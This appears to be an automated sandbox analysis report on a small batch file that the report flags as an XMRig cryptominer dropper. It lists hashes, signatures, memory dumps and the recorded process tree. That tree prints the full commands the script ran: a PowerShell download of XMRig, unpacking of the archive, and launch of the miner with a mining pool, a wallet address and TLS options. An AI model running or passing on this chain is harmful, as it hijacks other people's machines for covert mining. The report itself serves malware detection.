Analysis

  • max time kernel
    1783s
  • max time network
    1774s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-01-2024 03:11

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 24 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:8
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3472
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2944

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/8-4-0x000002B7D4860000-0x000002B7D4882000-memory.dmp

    Filesize

    136KB

  • memory/8-5-0x00007FFCA99B0000-0x00007FFCAA39C000-memory.dmp

    Filesize

    9.9MB

  • memory/8-7-0x000002B7ECB00000-0x000002B7ECB10000-memory.dmp

    Filesize

    64KB

  • memory/8-10-0x000002B7ECC90000-0x000002B7ECD06000-memory.dmp

    Filesize

    472KB

  • memory/8-9-0x000002B7ECB00000-0x000002B7ECB10000-memory.dmp

    Filesize

    64KB

  • memory/8-25-0x000002B7ECB00000-0x000002B7ECB10000-memory.dmp

    Filesize

    64KB

  • memory/8-26-0x00007FFCA99B0000-0x00007FFCAA39C000-memory.dmp

    Filesize

    9.9MB

  • memory/8-27-0x000002B7ECB00000-0x000002B7ECB10000-memory.dmp

    Filesize

    64KB

  • memory/8-28-0x000002B7ECB00000-0x000002B7ECB10000-memory.dmp

    Filesize

    64KB

  • memory/8-29-0x000002B7ECB00000-0x000002B7ECB10000-memory.dmp

    Filesize

    64KB

  • memory/8-34-0x00007FFCA99B0000-0x00007FFCAA39C000-memory.dmp

    Filesize

    9.9MB

  • memory/2944-175-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-169-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-122-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-123-0x000001CE47770000-0x000001CE47790000-memory.dmp

    Filesize

    128KB

  • memory/2944-135-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-136-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-137-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-124-0x000001CE47790000-0x000001CE477B0000-memory.dmp

    Filesize

    128KB

  • memory/2944-125-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-126-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-127-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-129-0x000001CE47790000-0x000001CE477B0000-memory.dmp

    Filesize

    128KB

  • memory/2944-128-0x000001CE47770000-0x000001CE47790000-memory.dmp

    Filesize

    128KB

  • memory/2944-130-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-131-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-132-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-133-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-134-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-188-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-187-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-186-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-185-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-184-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-183-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-182-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-181-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-180-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-179-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-178-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-177-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-176-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-120-0x000001CE45D50000-0x000001CE45D70000-memory.dmp

    Filesize

    128KB

  • memory/2944-174-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-173-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-172-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-171-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-170-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-121-0x000001CE45FA0000-0x000001CE45FC0000-memory.dmp

    Filesize

    128KB

  • memory/2944-168-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-167-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-166-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-165-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-164-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-163-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-162-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-161-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-160-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-159-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-158-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-157-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-156-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-155-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-154-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-153-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-152-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-151-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-150-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-149-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-148-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-147-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-146-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-145-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-144-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-143-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-142-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-141-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-140-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-139-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/2944-138-0x00007FF7BD170000-0x00007FF7BDC73000-memory.dmp

    Filesize

    11.0MB

  • memory/3472-39-0x00007FFCA99B0000-0x00007FFCAA39C000-memory.dmp

    Filesize

    9.9MB

  • memory/3472-41-0x000001F4F3320000-0x000001F4F3330000-memory.dmp

    Filesize

    64KB

  • memory/3472-42-0x000001F4F3320000-0x000001F4F3330000-memory.dmp

    Filesize

    64KB

  • memory/3472-66-0x000001F4F3320000-0x000001F4F3330000-memory.dmp

    Filesize

    64KB

  • memory/3472-93-0x000001F4F3670000-0x000001F4F367A000-memory.dmp

    Filesize

    40KB

  • memory/3472-80-0x000001F4F3700000-0x000001F4F3712000-memory.dmp

    Filesize

    72KB

  • memory/3472-117-0x00007FFCA99B0000-0x00007FFCAA39C000-memory.dmp

    Filesize

    9.9MB